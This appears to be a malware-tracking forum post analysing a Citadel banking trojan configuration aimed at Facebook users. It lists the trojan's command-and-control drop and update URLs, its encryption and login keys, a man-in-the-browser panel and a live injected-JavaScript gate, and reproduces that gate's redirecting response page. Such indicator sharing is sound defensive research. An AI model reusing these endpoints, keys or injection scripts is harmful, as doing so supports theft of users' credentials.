Xylitol wrote:Citadel almost no trigger, just facebookCode: Select allDrop: hxtp://dargs.su/citadm/vorota.php
Update: hxtp://dargs.su/citadm/file.php|file=soft.exe
Login key: C1F20D2340B519056A7D89B7DF4B0FFF
Key: C5 88 D5 B3 FC A8 1A 41 50 15 C6 5C A1 8A DA 60
mitb panel anyway but seem dead > http://jsunpack.jeek.org/?report=e3544e ... 9ab55e8000
Alive on same value33g[.]com IP 208,91,197,241 there's now:
No more on https but injected JS is working (tested a few minutes ago):
Code: Select allhttp://searchresultsguide.com/nccvbv/gate.php?action=check_uid&site=facebook&uid=REDACTED&return_method=loader&pkey=password&ssid=REDACTED
Returns the following page (sorry for removing almost everything, but you can always try for yourself):
Code: Select all<!--
top.location="http://searchresultsguide.com/?fp=REDACTED&prvtof=REDACTED&poru=REDACTED&cifr=1&action=check_uid&site=facebook&uid=REDACTED&return_method=loader&pkey=password&ssid=REDACTED";
/*
-->
<script type="text/javascript">
<!--
dimensionUpdated = 0;
function applyFrameKiller()
{
if(window.top != self)
{
cHeight = 0;
if( typeof( window.innerHeight ) != 'undefined' ) {
//Non-IE
cHeight = window.innerHeight;
dimensionUpdated = 1;
} else if( document.documentElement && ( document.documentElement.clientWidth || document.documentElement.clientHeight ) ) {
//IE 6+ in 'standards compliant mode'
cHeight = document.documentElement.clientHeight;
dimensionUpdated = 1;
} else if( document.body && ( document.body.clientWidth || document.body.clientHeight ) ) {
//IE 4 compatible
cHeight = document.body.clientHeight;
dimensionUpdated = 1;
}
if( cHeight <= 250 && dimensionUpdated == 1)
{
window.top.location = "http://searchresultsguide.com/?fp=REDACTED&prvtof=REDACTED&poru=REDACTED&cifr=1&action=check_uid&site=facebook&uid=REDACTED&return_method=loader&pkey=password&ssid=REDACTED";
}
}
}
applyFrameKiller();
// -->
</script><frameset rows="100%,*" frameborder="no" border="0" framespacing="0">
<frame src="http://searchresultsguide.com/?fp=REDACTED&prvtof=REDACTED&poru=REDACTED&action=check_uid&site=facebook&uid=REDACTED&return_method=loader&pkey=password&ssid=REDACTED">
</frameset>
<noframes>
<body bgcolor="#ffffff" text="#000000">
<a href="http://searchresultsguide.com/?fp=REDACTED&prvtof=REDACTED&poru=REDACTED&action=check_uid&site=facebook&uid=REDACTED&return_method=loader&pkey=password&ssid=REDACTED">Click here to proceed</a>.
</body>
</noframes><!--
*/
-->
Then I guess what follows is some shitty ads.
